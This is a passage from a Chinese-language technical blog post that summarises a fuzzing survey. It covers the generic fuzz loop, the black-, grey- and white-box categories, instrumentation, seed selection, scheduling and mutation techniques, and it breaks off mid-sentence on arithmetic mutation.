fuzz 配置时，需要注意的是，配置中的值类型取决于所使用的 fuzz 算法。例如，向待测试程序（PUT）发送随机字节流的简单 fuzz 算法具有一个基础的配置空间。而另一方面，更复杂的 fuzzers 则包含接受一系列配置并随时间进行调整的算法，这可能包括配置的添加和删除。</p><p>种子是传递给 PUT 的一个通常结构良好的输入，它被用于通过修改生成测试用例。Fuzzers 通常维护一个称为“种子池”的种子集合，而且某些 fuzzers 会随着 fuzz campaign 的进行而更新这个池。</p><img src="http://cdn.blog-blockchain.xyz/202310171416565.png" alt="图像" style="zoom:50%;" /><p>算法 1 接受一组 fuzz 配置<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">C</span></span></span></span>和一个时间限制<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7651em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">imi</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>作为输入，并输出一组发现的 bug <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">B</span></span></span></span>。该算法的第一部分是<code>PREPROCESS</code>函数，它在 fuzz campaign 开始时执行。第二部分是循环中的五个函数系列：<code>SCHEDULE</code>、<code>INPUTGEN</code>、<code>INPUTEVAL</code>、<code>CONFUPDATE</code>和<code>CONTINUE</code>。</p><p>每次循环的执行被称为<em>fuzz iteration</em>，而每次<code>INPUTEVAL</code>在一个测试用例上执行 PUT 的动作被称为<em>fuzz run</em>。</p><ul><li><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span class="mord mathrm">PREPROCESS</span></span><span class="mopen">(</span><span class="mord mathbb">C</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">C</span></span></span></span></p><p>用户为<code>PREPROCESS</code>提供一组 fuzz 配置作为输入，它返回可能修改的 fuzz 配置集合。根据所使用的 fuzz 算法，<code>PREPROCESS</code>可能执行各种操作，例如向 PUT 插入监测代码或测量种子文件的执行速度。</p></li><li><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mop"><span class="mord mathrm">SCHEDULE</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathbb">C</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">elapsed</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">limit</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mop"><span class="mord mathrm" style="margin-right:0.07778em;">conf</span></span></span></span></span></p><p><code>SCHEDULE</code>接受当前的 fuzz 配置集、当前已经过去的时间<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9012em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">se</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>和一个时间限制<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7651em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">t</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">imi</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>作为输入，并选择一个 fuzz 配置用于当前的 fuzz iteration。</p></li><li><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">INPUTGEN</span></span><span class="mopen">(</span><span class="mop"><span class="mord mathrm" style="margin-right:0.07778em;">conf</span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord text"><span class="mord">tcs</span></span></span></span></span></p><p><code>INPUTGEN</code>接收一个 fuzz 配置作为输入，并返回一组具体的测试用例<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">cs</span></span></span></span>作为输出。在生成测试用例时，<code>INPUTGEN</code>使用<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">co</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>中的特定参数。<strong>某些 fuzzer 使用<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">co</span><span class="mord mathnormal">n</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>中的种子生成测试用例，而其他 fuzzer 可能使用模型或语法作为参数。</strong></p></li><li><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord text"><span class="mord">INPUTEVAL</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mop"><span class="mord mathrm" style="margin-right:0.07778em;">conf</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord text"><span class="mord">tcs</span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">bug</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathbb">B</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord text"><span class="mord">execinfos</span></span></span></span></span></p><p><code>INPUTEVAL</code>接收一个 fuzz 配置、一组测试用例<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">cs</span></span></span></span>和一个 bug oracle <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">ug</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>作为输入。它在<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span><span class="mord mathnormal">cs</span></span></span></span>上执行 PUT，并使用<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">ug</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>检查执行是否违反了正确性策略。</p></li></ul><p>这些定义和过程展示了 fuzzing 作为软件测试中的一个复杂且灵活的方法，它通过多种方式生成和评估测试用例，以检测和识别软件中的潜在错误和漏洞。</p><h3 id="Fuzzers-的分类">Fuzzers 的分类</h3><p>Fuzzers 可以根据在每次 fuzz 运行中所采用的语义粒度分为三类：黑盒、灰盒和白盒 fuzzers。</p><p><strong>黑盒 fuzzer</strong>是一种不涉及检查待测试程序（PUT）内部逻辑的技术。这种 fuzzer 仅仅关注 PUT 的输入和输出。在软件测试领域，黑盒测试也被称为 IO（输入/输出）驱动或数据驱动测试。然而，有些研究工作使用适应性策略来为黑盒 fuzzers 生成更有效的测试用例。</p><p>与黑盒 fuzzers 相对的是<strong>白盒 fuzzer</strong>，它通过分析 PUT 的内部结构和执行过程中收集的信息来生成测试用例。动态符号执行（Dynamic Symbolic Execution, DSE）是白盒 fuzzing 的一个例子，因为它通过具体的运行时状态替换一些符号值来执行测试。</p><p><strong>灰盒 fuzzer</strong>则采取了一种中间态度，它获取了 PUT 的部分内部信息和/或其执行过程中的信息。与白盒 fuzzers 不同，灰盒 fuzzers 不会深入推理 PUT 的全部语义；相反，它们可能会对 PUT 执行一些轻量级的静态分析，和/或收集关于其执行的动态信息，例如代码覆盖率。这种方法通常依赖于近似和不完全的信息，以此来提高速度，并能够测试更多的输入。</p><img src="http://cdn.blog-blockchain.xyz/202310171513386.png" alt="image-20231017150912387" style="zoom: 80%;" /><p>从 X 到 Y 的实线箭头表示 Y 引用、参考或以其他方式使用来自 X 的技术。</p><p><img src="http://cdn.blog-blockchain.xyz/202310171531164.png" alt="image-20231017153120080"></p><ol><li><strong>Fuzzer 类型（第 1 列）</strong>：标识 fuzzer 是黑盒（⬤）、白盒（◑）还是灰盒（○）。如果 fuzzer 在不同阶段采用不同类型的反馈机制，会显示两个圆圈，反映其混合方法。</li><li><strong>源代码公开性（第 2 列）</strong>：显示 fuzzer 的源代码是否公开，这有助于用户了解、修改和定制 fuzzer。</li><li><strong>源代码需求（第 3 列）</strong>：指示 fuzzer 是否需要访问 PUT 的源代码来进行测试，这影响了 fuzzer 的适用性和灵活性。</li><li><strong>内存中 Fuzzing（第 4 列）</strong>：表明 fuzzer 是否支持内存中 fuzzing，这种方式可以在不实际运行 PUT 的情况下进行测试，有助于提高效率。</li><li><strong>模型推断（第 5 列）</strong>：关于 fuzzer 是否能够推断出 PUT 的模型，这有助于生成更精确的测试用例。</li><li><strong>PREPROCESS 中的静态分析（第 6 列）</strong>：显示 fuzzer 在<code>PREPROCESS</code>阶段是否执行静态或动态分析，这影响了测试用例的生成和优化。</li><li><strong>多种子处理（第 7 列）</strong>：表示 fuzzer 是否支持处理多个种子并进行调度，这有助于提高测试用例的多样性。</li><li><strong>输入变异（第 8 列）</strong>：指定 fuzzer 是否执行输入变异来生成测试用例。◑ 表示 fuzzer 根据执行反馈来指导输入变异。</li><li><strong>基于模型的测试用例生成（第 9 列）</strong>：关于 fuzzer 是否基于模型生成测试用例，这可以提高测试的准确性和效率。</li><li><strong>符号分析（第 10 列）</strong>：显示 fuzzer 是否使用符号分析来生成测试用例，这有助于发现更深层次的漏洞。</li><li><strong>污点分析（第 11 列）</strong>：标识利用污点分析来指导测试用例生成的 fuzzer，这有助于识别潜在的安全漏洞。</li><li><strong>崩溃分类（第 12 和 13 列）</strong>：显示 fuzzer 是否使用堆栈哈希或代码覆盖率来执行崩溃分类，这对于识别和区分不同的崩溃类型很重要。</li><li><strong>种子池进化（第 14 列）</strong>：表示 fuzzer 在<code>CONFUPDATE</code>期间是否进化种子池，例如添加新种子，这有助于提高测试的广度和深度。</li><li><strong>在线学习输入模型（第 15 列）</strong>：关于 fuzzer 是否在线学习输入模型，这有助于动态调整和优化测试策略。</li><li><strong>移除种子（第 16 列）</strong>：显示哪些 fuzzer 会从种子池中移除种子，这有助于优化种子池，提高测试效率。</li></ol><p>另外，您可以在 <a href="https://fuzzing-survey.org/">fuzzing-survey</a> 上找到知识图谱。</p><h2 id="PREPROCESS">PREPROCESS</h2><p>在 fuzzing 的预处理阶段，某些 fuzzers 会通过修改初始 fuzz 配置集来准备主循环，作为首要步骤。预处理的目的通常是为了对待测试程序（PUT）进行插桩、去除可能冗余的配置、修剪种子，以及生成驱动应用程序。</p><h3 id="插桩">插桩</h3><p>不同于黑盒 fuzzers，灰盒和白盒 fuzzers 可以对 PUT 进行插桩，以便在 INPUTEVAL 阶段执行 fuzz 运行时收集执行反馈，或者在运行时 fuzz 内存中的内容。</p><p>程序插桩可以是静态的或动态的。静态插桩通常在 PUT 运行之前进行，比如在编译时对源代码或中间代码进行修改。由于静态插桩在运行时之前完成，通常比动态插桩带来的开销要小。动态插桩则在 PUT 运行时进行，能够轻松地对动态链接的库进行插桩。</p><p>插桩的具体实现可能包括：</p><ul><li><strong>执行反馈</strong>：例如，LibFuzzer 和 AFL 通过对每个分支指令进行插桩来计算分支覆盖率。</li><li><strong>线程调度</strong>：插桩还可以控制线程的调度，触发非确定性的程序行为，例如竞态条件错误。</li><li><strong>内存中模糊</strong>：通过在复杂的初始化之后对 PUT 进行快照，可以避免每次迭代都重新生成一个进程。新的测试用例可以通过恢复内存快照后直接写入内存来模糊。</li></ul><h3 id="种子选择与种子修剪">种子选择与种子修剪</h3><p>Fuzzers 接收一组控制 fuzzing 算法行为的配置。但某些参数可能有很大或甚至无限的域。种子选择问题涉及如何减少初始种子池的大小。</p><p>一个常见的方法，称为<strong>minset</strong>，找到一个最小的种子集，该种子集最大化了覆盖度指标，如节点覆盖度。例如，假设当前的配置集<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6889em;"></span><span class="mord mathbb">C</span></span></span></span>由两个种子<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>组成，它们覆盖 PUT 的以下地址：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">20</span><span class="mclose">}</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">20</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">30</span><span class="mclose">}}</span></span></span></span>。如果我们有第三个种子<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">20</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">30</span><span class="mclose">}</span></span></span></span>，执行速度大致与<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>相同，那么可以认为使用<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>进行模糊测试比使用<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>和<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>更有意义，因为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>执行的时间成本更低，但是测试了相同的代码集，有相同的覆盖度。</p><p>Fuzzers 在实践中使用了各种不同的覆盖度指标。例如，<em>AFL 的</em> minset 是基于分支覆盖度的，每个分支上有一个对数计数器。这背后的理念是只有当它们的数量级不同时，才认为分支计数是不同的。<em>Honggfuzz</em> 基于执行的指令数、执行的分支数和 unique 的基本块 (basic block, 可以简单认为连续顺序执行的一段指令) 来计算覆盖度。这个指标允许 fuzzer 将较为费时的种子配置添加到 minset 中，这有助于发现拒绝服务漏洞或性能问题。</p><p>此外，种子修剪减少种子池的大小。例如，AFL 使用代码覆盖度插桩来迭代地移除部分种子，只要修改后的种子能达到相同的覆盖度。通过这些技术，fuzzers 能够更有效地执行测试，提高漏洞发现的几率，同时减少不必要的计算和资源消耗。</p><h2 id="SCHEDULING">SCHEDULING</h2><p>回顾之前的通用算法，调度的过程涉及选择下一个 fuzz 迭代的 fuzz 配置，通过分析当前可用信息来实现最优结果，例如最大化覆盖率。在更先进的 fuzzers 中，如 BFF 和 AFLFast，它们的成功在很大程度上归功于它们创新的调度算法。</p><img src="http://cdn.blog-blockchain.xyz/202310171416565.png" alt="image-20231017141649444" style="zoom: 50%;" /><p>在黑盒设置中，**FCS（Fuzz Configuration Scheduling）**算法能够使用的唯一信息是关于一个配置的 fuzz 结果——目前使用该配置发现的崩溃和漏洞数量，以及到目前为止在该配置上花费的时间。</p><p>在灰盒设置中，FCS 算法可以访问关于每个 fuzz 配置的更丰富信息集，例如，在 fuzz 一个配置时所达到的代码覆盖率。AFL 是这一类别的先驱，它基于进化算法（EA）。直观地说，EA 维护一个 fuzz 配置的种群，每个配置都有一定的“适应度”值。EA 选择适合的配置，并对其应用基因转换，如突变和重组，产生后代，这些后代可能在未来成为新的 fuzz 配置。这种方法的假设是，这些生成的配置更有可能适应目标环境。</p><p>如果你对灰盒调度算法的细节感兴趣，可以关注 AFL 到 AFLFast，再到 AFLGo 的发展，这一系列的进化展示了调度算法的进步。此外，还有一些后续的 fuzzers 利用静态分析来进一步提高效率和效果。这些工具和方法的发展不断推动着软件测试和安全研究的前沿，使 fuzzing 成为一个日益重要和有效的工具。</p><h2 id="INPUT-GENERATION">INPUT GENERATION</h2><p>在 fuzzer 的设计中，用于<code>input generation</code>的技术是其中最关键的部分。基本上，fuzzers 可以分为两种类型：生成型和变异型。</p><ul><li><strong>生成型 fuzzer</strong>根据描述待测试程序（PUT）期望输入的模型来生成测试用例。这类 fuzzers 可以由用户通过预定义模型进行配置，提供 API 以创建自定义输入模型，或接收用户提供的协议规范和基于语法的输入。</li><li><strong>变异型 fuzzer</strong>通常被认为没有明确的模型，因为种子仅是示例输入，并没有完全描述 PUT 的预期输入范围。</li></ul><h3 id="Generation-Based-Fuzzers">Generation-Based Fuzzers</h3><ul><li><strong>预定义模型</strong>：用户可以配置预定义的模型。这类 fuzzer 允许用户创建自己的输入模型或接收用户提供的协议规范、基于语法的输入。</li><li><strong>推导模型</strong>：不依赖于预定义或用户提供的模型，而是推导出模型。这种推导可能在<code>PREPROCESS</code>阶段进行，包括通过数据驱动方法推导控制流图，或通过分析 API 记录来推导输入。例如，PULSAR 可以根据一套捕获的网络数据包自动推导出网络协议模型，然后使用学到的网络协议对程序进行 fuzz。</li></ul><h3 id="Mutation-Based-Fuzzers">Mutation-Based Fuzzers</h3><p>变异型 fuzzers 是一种在软件测试中广泛使用的工具，它们通过修改现有的输入数据（种子）来生成新的测试用例。这种方法特别适合于测试复杂软件系统，但是生成特定路径条件的测试用例的难度较大。</p><p>经典的随机生成测试用例的方法，在需要满足特定路径的条件时，效率不高。考虑一个简单的 C 语句：<code>if (input == 42)</code>。如果输入是 32 位整数，随机猜测正确的输入值的概率是<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord">1/</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">32</span></span></span></span></span></span></span></span></span></span></span></span>。变异型 fuzzers 正是在这样的背景下产生的，其目标是从现有种子中筛选出最有可能触发新路径或行为的种子。</p><p><strong>Bit-flipping</strong>是许多 fuzzer 常用的一种技巧。为了随机地变异种子，一些 fuzzer 采用一个称为 mutation ratio 的用户参数，这决定了在<code>INPUTGEN</code>的单次执行中要翻转（0 与 1 互相替换）的位的数量。</p><p><strong>Arithmetic Mutation</strong>这种方法将种子中的特定部分视为整数，并对其执行简单的算术操作。例如，AFL 可能会随机选择种子中的一个 4 字节值，并用一个随机生成的小整数<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" 